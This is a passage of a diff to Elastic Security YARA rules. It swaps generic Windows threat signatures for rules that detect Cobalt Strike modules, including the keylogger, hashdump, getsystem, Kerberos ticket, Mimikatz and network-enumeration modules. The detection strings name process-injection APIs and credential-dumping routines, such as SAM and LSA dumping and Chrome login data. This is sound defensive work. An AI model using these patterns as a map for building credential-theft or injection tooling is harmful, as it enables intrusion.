+		$a2 = "keylogger.x64.dll" ascii fullword
+		$a3 = "\\\\.\\pipe\\keylogger" ascii fullword
+		$a4 = "%cE=======%c" ascii fullword
+		$a5 = "[unknown: %02X]" ascii fullword
+		$b1 = "ReflectiveLoader"
+		$b2 = "%c2%s%c" ascii fullword
+		$b3 = "[numlock]" ascii fullword
+		$b4 = "%cC%s" ascii fullword
+		$b5 = "[backspace]" ascii fullword
+		$b6 = "[scroll lock]" ascii fullword
+		$b7 = "[control]" ascii fullword
+		$b8 = "[left]" ascii fullword
+		$b9 = "[page up]" ascii fullword
+		$b10 = "[page down]" ascii fullword
+		$b11 = "[prtscr]" ascii fullword
+		$b12 = "ZRich9" ascii fullword
+		$b13 = "[ctrl]" ascii fullword
+		$b14 = "[home]" ascii fullword
+		$b15 = "[pause]" ascii fullword
+		$b16 = "[clear]" ascii fullword
 
 	condition:
-		all of them
+		1 of ($a*) and 14 of ($b*)
 }
-rule ELASTIC_Windows_Generic_Threat_3C4D9Cbe : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Cobaltstrike_2B8Cddf8 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Identifies dll load module from Cobalt Strike"
 		author = "Elastic Security"
-		id = "3c4d9cbe-700f-4f3e-8e66-d931d5c90d3e"
-		date = "2024-01-31"
-		modified = "2024-02-08"
+		id = "2b8cddf8-ca7a-4f85-be9d-6d8534d0482e"
+		date = "2021-03-23"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L2396-L2414"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "21d01bd53f43aa54f22786d7776c7bc90320ec6f7a6501b168790be46ff69632"
-		logic_hash = "b32f9a3b86c60d4d69c59250ac59e93aee70ede890b059b13be999adbe043d2c"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_CobaltStrike.yar#L79-L114"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "5502c06d33b93bae3bc25ba7dd6a5a9a3b0b2b43bb7e867e601ecb206bf503ed"
 		score = 75
-		quality = 75
+		quality = 43
 		tags = "FILE, MEMORY"
-		fingerprint = "15be51c438b7b2a167e61e35821445404a38c2f8c3e037061a1eba4bf0ded2b5"
-		severity = 50
+		fingerprint = "0d7d28d79004ca61b0cfdcda29bd95e3333e6fc6e6646a3f6ba058aa01bee188"
+		threat_name = "Windows.Trojan.CobaltStrike"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 55 8B EC 53 56 57 8B 55 08 8B DA 8B 7A 3C 03 FA 66 81 3F 50 45 75 54 03 5F 78 8B 4B 18 8B 73 20 8B 7B 24 03 F2 03 FA FC 55 8B 6D 0C AD 03 C2 96 87 FD 51 33 C9 80 C1 0F F3 A6 72 0C 96 59 87 FD }
+		$a1 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\dllload.x64.o" ascii fullword
+		$a2 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\dllload.x86.o" ascii fullword
+		$b1 = "__imp_BeaconErrorDD" ascii fullword
+		$b2 = "__imp_BeaconErrorNA" ascii fullword
+		$b3 = "__imp_BeaconErrorD" ascii fullword
+		$b4 = "__imp_BeaconDataInt" ascii fullword
+		$b5 = "__imp_KERNEL32$WriteProcessMemory" ascii fullword
+		$b6 = "__imp_KERNEL32$OpenProcess" ascii fullword
+		$b7 = "__imp_KERNEL32$CreateRemoteThread" ascii fullword
+		$b8 = "__imp_KERNEL32$VirtualAllocEx" ascii fullword
+		$c1 = "__imp__BeaconErrorDD" ascii fullword
+		$c2 = "__imp__BeaconErrorNA" ascii fullword
+		$c3 = "__imp__BeaconErrorD" ascii fullword
+		$c4 = "__imp__BeaconDataInt" ascii fullword
+		$c5 = "__imp__KERNEL32$WriteProcessMemory" ascii fullword
+		$c6 = "__imp__KERNEL32$OpenProcess" ascii fullword
+		$c7 = "__imp__KERNEL32$CreateRemoteThread" ascii fullword
+		$c8 = "__imp__KERNEL32$VirtualAllocEx" ascii fullword
 
 	condition:
-		all of them
+		1 of ($a*) or 5 of ($b*) or 5 of ($c*)
 }
-rule ELASTIC_Windows_Generic_Threat_Deb82E8C : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Cobaltstrike_59B44767 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Identifies getsystem module from Cobalt Strike"
 		author = "Elastic Security"
-		id = "deb82e8c-57dc-47ea-a786-b4e1ae41a40f"
-		date = "2024-01-31"
-		modified = "2024-02-08"
+		id = "59b44767-c9a5-42c0-b177-7fe49afd7dfb"
+		date = "2021-03-23"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L2416-L2435"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "0f5791588a9898a3db29326785d31b52b524c3097370f6aa28564473d353cd38"
-		logic_hash = "c24baecab39c72f6bb30713022297cb9fb41ef5339a353702f3f780a630d5b27"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_CobaltStrike.yar#L116-L142"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "7027d0dcbdb1961d2604f29392a923957d298a047c268553599ea8c881f76a98"
 		score = 75
-		quality = 71
+		quality = 69
 		tags = "FILE, MEMORY"
-		fingerprint = "3429ecf8f509c6833b790156e61f0d1a6e0dc259d4891d6150a99b5cb3f0f26e"
-		severity = 50
+		fingerprint = "882886a282ec78623a0d3096be3d324a8a1b8a23bcb88ea0548df2fae5e27aa5"
+		threat_name = "Windows.Trojan.CobaltStrike"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 50 6F 76 65 72 74 79 20 69 73 20 74 68 65 20 70 61 72 65 6E 74 20 6F 66 20 63 72 69 6D 65 2E }
-		$a2 = { 2D 20 53 79 73 74 65 6D 4C 61 79 6F 75 74 20 25 64 }
+		$a1 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\getsystem.x86.o" ascii fullword
+		$a2 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\getsystem.x64.o" ascii fullword
+		$b1 = "getsystem failed." ascii fullword
+		$b2 = "_isSystemSID" ascii fullword
+		$b3 = "__imp__NTDLL$NtQuerySystemInformation@16" ascii fullword
+		$c1 = "getsystem failed." ascii fullword
+		$c2 = "$pdata$isSystemSID" ascii fullword
+		$c3 = "$unwind$isSystemSID" ascii fullword
+		$c4 = "__imp_NTDLL$NtQuerySystemInformation" ascii fullword
 
 	condition:
-		all of them
+		1 of ($a*) or 3 of ($b*) or 3 of ($c*)
 }
-rule ELASTIC_Windows_Generic_Threat_278C589E : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Cobaltstrike_7Efd3C3F : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Identifies Hashdump module from Cobalt Strike"
 		author = "Elastic Security"
-		id = "278c589e-fca0-4228-8ffa-6b5e4627b1b1"
-		date = "2024-01-31"
-		modified = "2024-02-08"
+		id = "7efd3c3f-1104-4b46-9d1e-dc2c62381b8c"
+		date = "2021-03-23"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L2437-L2455"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "cccc6c1bf15a7d5725981de950475e272c277bc3b9d266c5debf0fc698770355"
-		logic_hash = "59bbbecd73541750f7221b12895ccf51e1a6863ceca62e23f541df904ad23587"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_CobaltStrike.yar#L144-L168"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "45a0aaba6c1be016fc5f4051680ee7e3aa62e8a5d9730b7adab08c14ae37da24"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "573b6c5400400b167edd94e12332d421a32dc52138a2a933f2fa85f8409c8e4a"
-		severity = 50
+		fingerprint = "9e7c7c9a7436f5ee4c27fd46d6f06e7c88f4e4d1166759573cedc3ed666e1838"
+		threat_name = "Windows.Trojan.CobaltStrike"
+		severity = 70
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 49 6E 73 74 61 6C 6C 65 72 20 77 69 6C 6C 20 6E 6F 77 20 64 6F 77 6E 6C 6F 61 64 20 66 69 6C 65 73 20 72 65 71 75 69 72 65 64 20 66 6F 72 20 69 6E 73 74 61 6C 6C 61 74 69 6F 6E 2E }
+		$a1 = "hashdump.dll" ascii fullword
+		$a2 = "hashdump.x64.dll" ascii fullword
+		$a3 = "\\\\.\\pipe\\hashdump" ascii fullword
+		$a4 = "ReflectiveLoader"
+		$a5 = "Global\\SAM" ascii fullword
+		$a6 = "Global\\FREE" ascii fullword
+		$a7 = "[-] no results." ascii fullword
 
 	condition:
-		all of them
+		4 of ($a*)
 }
-rule ELASTIC_Windows_Generic_Threat_6B621667 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Cobaltstrike_6E971281 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Identifies Interfaces module from Cobalt Strike"
 		author = "Elastic Security"
-		id = "6b621667-8ed2-4a6e-9fad-fc7a01012859"
-		date = "2024-01-31"
-		modified = "2024-02-08"
+		id = "6e971281-3ee3-402f-8a72-745ec8fb91fb"
+		date = "2021-03-23"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L2457-L2475"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b50b39e460ecd7633a42f0856359088de20512c932fc35af6531ff48c9fa638a"
-		logic_hash = "3574b7ef24c4387a9919ed9831af7657047b26d8922ab78788619bbd3d0edd56"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_CobaltStrike.yar#L170-L201"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "f204965c0118dbdfe7e134d319c92b30d22585e888609ff31df90643116a2c38"
 		score = 75
-		quality = 75
+		quality = 51
 		tags = "FILE, MEMORY"
-		fingerprint = "77d3637fea6d1ddca7b6943671f2d776fa939b063d60d8b659a0fc63acfdc869"
-		severity = 50
+		fingerprint = "62d97cf73618a1b4d773d5494b2761714be53d5cda774f9a96eaa512c8d5da12"
+		threat_name = "Windows.Trojan.CobaltStrike"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 55 8B EC 51 64 A1 30 00 00 00 56 33 F6 89 75 FC 8B 40 10 39 70 08 7C 0F 8D 45 FC 50 E8 8F 0D 00 00 83 7D FC 01 74 03 33 F6 46 8B C6 5E C9 C3 8B FF 55 8B EC 51 51 53 56 6A 38 6A 40 E8 32 EB FF }
+		$a1 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\interfaces.x64.o" ascii fullword
+		$a2 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\interfaces.x86.o" ascii fullword
+		$b1 = "__imp_BeaconFormatAlloc" ascii fullword
+		$b2 = "__imp_BeaconFormatPrintf" ascii fullword
+		$b3 = "__imp_BeaconOutput" ascii fullword
+		$b4 = "__imp_KERNEL32$LocalAlloc" ascii fullword
+		$b5 = "__imp_KERNEL32$LocalFree" ascii fullword
+		$b6 = "__imp_LoadLibraryA" ascii fullword
+		$c1 = "__imp__BeaconFormatAlloc" ascii fullword
+		$c2 = "__imp__BeaconFormatPrintf" ascii fullword
+		$c3 = "__imp__BeaconOutput" ascii fullword
+		$c4 = "__imp__KERNEL32$LocalAlloc" ascii fullword
+		$c5 = "__imp__KERNEL32$LocalFree" ascii fullword
+		$c6 = "__imp__LoadLibraryA" ascii fullword
 
 	condition:
-		all of them
+		1 of ($a*) or 4 of ($b*) or 4 of ($c*)
 }
-rule ELASTIC_Windows_Generic_Threat_C374Cd85 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Cobaltstrike_09B79Efa : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Identifies Invoke Assembly module from Cobalt Strike"
 		author = "Elastic Security"
-		id = "c374cd85-714b-47c5-8645-cc7918fa2ff1"
-		date = "2024-01-31"
-		modified = "2024-02-08"
+		id = "09b79efa-55d7-481d-9ee0-74ac5f787cef"
+		date = "2021-03-23"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L2477-L2495"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "1c677585a8b724332849c411ffe2563b2b753fd6699c210f0720352f52a6ab72"
-		logic_hash = "8e183f780400f3bf9840798d53b431a4bf28bc43e07d69a3d614217e02f5dd79"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_CobaltStrike.yar#L203-L232"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "75fd003b9adf03aff8479b1b10da9c94955870b5fa4f1958f870e14acb2793c7"
 		score = 75
-		quality = 75
+		quality = 48
 		tags = "FILE, MEMORY"
-		fingerprint = "4936566b7f3f8250b068aa8e4a9b745c3e9ce2fa35164a94e77b31068d3d6ebf"
-		severity = 50
+		fingerprint = "04ef6555e8668c56c528dc62184331a6562f47652c73de732e5f7c82779f2fd8"
+		threat_name = "Windows.Trojan.CobaltStrike"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 83 EC 0C 53 8B 5E 74 39 9E 44 01 00 00 75 07 33 C0 E9 88 00 00 00 57 8B BE E0 00 00 00 85 FF 74 79 8B 8E E4 00 00 00 85 C9 74 6F 8B 86 44 01 00 00 8B D0 03 C7 8D 4C 01 F8 2B D3 89 4D }
+		$a1 = "invokeassembly.x64.dll" ascii fullword
+		$a2 = "invokeassembly.dll" ascii fullword
+		$b1 = "[-] Failed to get default AppDomain w/hr 0x%08lx" ascii fullword
+		$b2 = "[-] Failed to load the assembly w/hr 0x%08lx" ascii fullword
+		$b3 = "[-] Failed to create the runtime host" ascii fullword
+		$b4 = "[-] Invoke_3 on EntryPoint failed." ascii fullword
+		$b5 = "[-] CLR failed to start w/hr 0x%08lx" ascii fullword
+		$b6 = "ReflectiveLoader"
+		$b7 = ".NET runtime [ver %S] cannot be loaded" ascii fullword
+		$b8 = "[-] No .NET runtime found. :(" ascii fullword
+		$b9 = "[-] ICorRuntimeHost::GetDefaultDomain failed w/hr 0x%08lx" ascii fullword
+		$c1 = { FF 57 0C 85 C0 78 40 8B 45 F8 8D 55 F4 8B 08 52 50 }
 
 	condition:
-		all of them
+		1 of ($a*) or 3 of ($b*) or 1 of ($c*)
 }
-rule ELASTIC_Windows_Generic_Threat_7693D7Fd : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Cobaltstrike_6E77233E : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Identifies Kerberos module from Cobalt Strike"
 		author = "Elastic Security"
-		id = "7693d7fd-4161-4afb-8a8d-d487f2a7de5e"
-		date = "2024-02-13"
-		modified = "2024-06-12"
+		id = "6e77233e-7fb4-4295-823d-f97786c5d9c4"
+		date = "2021-03-23"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L2497-L2515"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "fc40cc5d0bd3722126302f74ace414e6934eca3a8a5c63a11feada2130b34b89"
-		logic_hash = "886ad084f33faf8baae8a650a88095757c2cff9e18c8f5c50ff36120b43ec082"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_CobaltStrike.yar#L234-L269"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "93aa11523b794402b257d02d4f9edc5ad320bfdb5b8b0f671ff08f399ef9e674"
 		score = 75
-		quality = 75
+		quality = 63
 		tags = "FILE, MEMORY"
-		fingerprint = "92489c8eb4f8a9da5e7bd858a47e20b342d70df1ba3a4769df06c434dc83d138"
-		severity = 50
+		fingerprint = "cef2949eae78b1c321c2ec4010749a5ac0551d680bd5eb85493fc88c5227d285"
+		threat_name = "Windows.Trojan.CobaltStrike"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 55 8B EC 51 51 8B 45 08 83 65 FC 00 8B 00 0F B7 48 14 66 83 78 06 00 8D 4C 01 18 0F 86 9A 00 00 00 53 56 57 8D 59 24 8B 13 8B CA 8B F2 C1 E9 1D C1 EE 1E 8B FA 83 E1 01 83 E6 01 C1 EF 1F F7 C2 }
+		$a1 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\kerberos.x64.o" ascii fullword
+		$a2 = "$unwind$command_kerberos_ticket_use" ascii fullword
+		$a3 = "$pdata$command_kerberos_ticket_use" ascii fullword
+		$a4 = "command_kerberos_ticket_use" ascii fullword
+		$a5 = "$pdata$command_kerberos_ticket_purge" ascii fullword
+		$a6 = "command_kerberos_ticket_purge" ascii fullword
+		$a7 = "$unwind$command_kerberos_ticket_purge" ascii fullword
+		$a8 = "$unwind$kerberos_init" ascii fullword
+		$a9 = "$unwind$KerberosTicketUse" ascii fullword
+		$a10 = "KerberosTicketUse" ascii fullword
+		$a11 = "$unwind$KerberosTicketPurge" ascii fullword
+		$b1 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\kerberos.x86.o" ascii fullword
+		$b2 = "_command_kerberos_ticket_use" ascii fullword
+		$b3 = "_command_kerberos_ticket_purge" ascii fullword
+		$b4 = "_kerberos_init" ascii fullword
+		$b5 = "_KerberosTicketUse" ascii fullword
+		$b6 = "_KerberosTicketPurge" ascii fullword
+		$b7 = "_LsaCallKerberosPackage" ascii fullword
 
 	condition:
-		all of them
+		5 of ($a*) or 3 of ($b*)
 }
-rule ELASTIC_Windows_Generic_Threat_Df5De012 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Cobaltstrike_De42495A : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Identifies Mimikatz module from Cobalt Strike"
 		author = "Elastic Security"
-		id = "df5de012-52b6-4558-a00b-2dbf052e34d3"
-		date = "2024-02-14"
-		modified = "2024-06-12"
+		id = "de42495a-0002-466e-98b9-19c9ebb9240e"
+		date = "2021-03-23"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L2517-L2535"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "13c06d7b030a46c6bb6351f40184af9fafaf4c67b6a2627a45925dd17501d659"
-		logic_hash = "1a1ce3644c33a4591ab6582525366d47e07bdc2350aa6066ec5b5fedc605b037"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_CobaltStrike.yar#L271-L301"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "2a13c73d221d80d25a432f9e0a1387153a78f58719066586e9d80d17613293ef"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "ee293cda37e0f1c76f89a7d1e074c9591950299b2ae87cca11c6cf7fbfee1fc4"
-		severity = 50
+		fingerprint = "dab3c25809ec3af70df5a8a04a2efd4e8ecb13a4c87001ea699e7a1512973b82"
+		threat_name = "Windows.Trojan.CobaltStrike"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 20 2C 3F 2C 2F 2C 37 2C 27 2C 3B 2C 2B 2C 33 2C 23 2C 3D 2C 2D 2C 35 2C 25 2C 39 2C 29 2C 31 2C 21 2C 3E 2C 2E 2C 36 2C 26 2C 3A 2C 2A 2C 32 2C 22 2C 3C 2C 2C 2C 34 2C 24 2C 38 2C 28 2C 30 2C 20 }
+		$a1 = "\\\\.\\pipe\\mimikatz" ascii fullword
+		$b1 = "ERROR kuhl_m_dpapi_chrome ; Input 'Login Data' file needed (/in:\"%%localappdata%%\\Google\\Chrome\\User Data\\Default\\Login Da" wide
+		$b2 = "ERROR kuhl_m_lsadump_getUsersAndSamKey ; kull_m_registry_RegOpenKeyEx SAM Accounts (0x%08x)" wide fullword
+		$b3 = "ERROR kuhl_m_lsadump_getUsersAndSamKey ; kuhl_m_lsadump_getSamKey KO" wide fullword
+		$b4 = "ERROR kuhl_m_lsadump_getComputerAndSyskey ; kull_m_registry_RegOpenKeyEx LSA KO" wide fullword
+		$b5 = "ERROR kuhl_m_lsadump_lsa_getHandle ; OpenProcess (0x%08x)" wide fullword
+		$b6 = "ERROR kuhl_m_lsadump_enumdomains_users ; SamLookupNamesInDomain: %08x" wide fullword
+		$b7 = "mimikatz(powershell) # %s" wide fullword
+		$b8 = "powershell_reflective_mimikatz" ascii fullword
+		$b9 = "mimikatz_dpapi_cache.ndr" wide fullword
+		$b10 = "mimikatz.log" wide fullword
+		$b11 = "ERROR mimikatz_doLocal" wide
+		$b12 = "mimikatz_x64.compressed" wide
 
 	condition:
-		all of them
+		1 of ($a*) and 7 of ($b*)
 }
-rule ELASTIC_Windows_Generic_Threat_0E8530F5 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Cobaltstrike_72F68375 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Identifies Netdomain module from Cobalt Strike"
 		author = "Elastic Security"
-		id = "0e8530f5-32ce-48a2-9413-5a8f4596ba12"
-		date = "2024-02-14"
-		modified = "2024-06-12"
+		id = "72f68375-35ab-49cc-905d-15302389a236"
+		date = "2021-03-23"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L2537-L2556"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "9f44d9acf79ed4450195223a9da185c0b0e8a8ea661d365a3ddea38f2732e2b8"
-		logic_hash = "f4a010366625c059151d3e704f6ece1808f367401729feaf6cc423cf4d5c5c60"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_CobaltStrike.yar#L303-L328"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "912e37829a9f99e00326745343c9e4593cd7cfb8d4dfafc66027cddcb4d883be"
 		score = 75
-		quality = 71
+		quality = 63
 		tags = "FILE, MEMORY"
-		fingerprint = "33007c3793c74aaac45434cbd0b524973073a7223d68fae8da5cbd7296120739"
-		severity = 50
+		fingerprint = "ecc28f414b2c347722b681589da8529c6f3af0491845453874f8fd87c2ae86d7"
+		threat_name = "Windows.Trojan.CobaltStrike"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 63 6D 64 20 2F 63 20 73 74 61 72 74 20 22 22 20 22 25 53 25 53 22 20 25 53 }
-		$a2 = { 76 68 61 50 20 71 20 65 71 30 75 61 }
+		$a1 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\net_domain.x64.o" ascii fullword
+		$a2 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\net_domain.x86.o" ascii fullword
+		$b1 = "__imp_BeaconPrintf" ascii fullword
+		$b2 = "__imp_NETAPI32$NetApiBufferFree" ascii fullword
+		$b3 = "__imp_NETAPI32$DsGetDcNameA" ascii fullword
+		$c1 = "__imp__BeaconPrintf" ascii fullword
+		$c2 = "__imp__NETAPI32$NetApiBufferFree" ascii fullword
+		$c3 = "__imp__NETAPI32$DsGetDcNameA" ascii fullword
 
 	condition:
-		all of them
+		1 of ($a*) or 2 of ($b*) or 2 of ($c*)
 }
-rule ELASTIC_Windows_Generic_Threat_Ba807E3E : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Cobaltstrike_15F680Fb : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Identifies Netview module from Cobalt Strike"
 		author = "Elastic Security"
-		id = "ba807e3e-13d8-49e0-ad99-32994d490e8b"
-		date = "2024-02-14"
-		modified = "2024-06-12"
+		id = "15f680fb-a04f-472d-a182-0b9bee111351"
+		date = "2021-03-23"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L2558-L2576"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "cabd0633b37e6465ece334195ff4cc5c3f44cfe46211165efc07f4073aed1049"
-		logic_hash = "896eedb949eec6dff3e867ae3179b741382dd25ba06c6db452ac1ae5bc6bc757"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_CobaltStrike.yar#L330-L360"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "0efe368ad82f5b0f6301121bfda9fd049b008ac246368bfa22bd976fa2c56b79"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "e6ea7577f8f21e778d21b4651bf55e66ec53fb6d80d68f2ab344261be50d03cc"
-		severity = 50
+		fingerprint = "0ecb8e41c01bf97d6dea4cf6456b769c6dd2a037b37d754f38580bcf561e1d2c"
+		threat_name = "Windows.Trojan.CobaltStrike"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 7D 4A 36 35 2B 7E 2E 2C 2F 37 2C 3D 31 7E 3B 3D 30 30 2F 2A 7E 3C 39 7E 2C 29 30 7E 35 30 7E 5A 4F 4B 7E 31 2F 3A 39 70 }
+		$a1 = "netview.x64.dll" ascii fullword
+		$a2 = "netview.dll" ascii fullword
+		$a3 = "\\\\.\\pipe\\netview" ascii fullword
+		$b1 = "Sessions for \\\\%s:" ascii fullword
+		$b2 = "Account information for %s on \\\\%s:" ascii fullword
+		$b3 = "Users for \\\\%s:" ascii fullword
+		$b4 = "Shares at \\\\%s:" ascii fullword
+		$b5 = "ReflectiveLoader" ascii fullword
+		$b6 = "Password changeable" ascii fullword
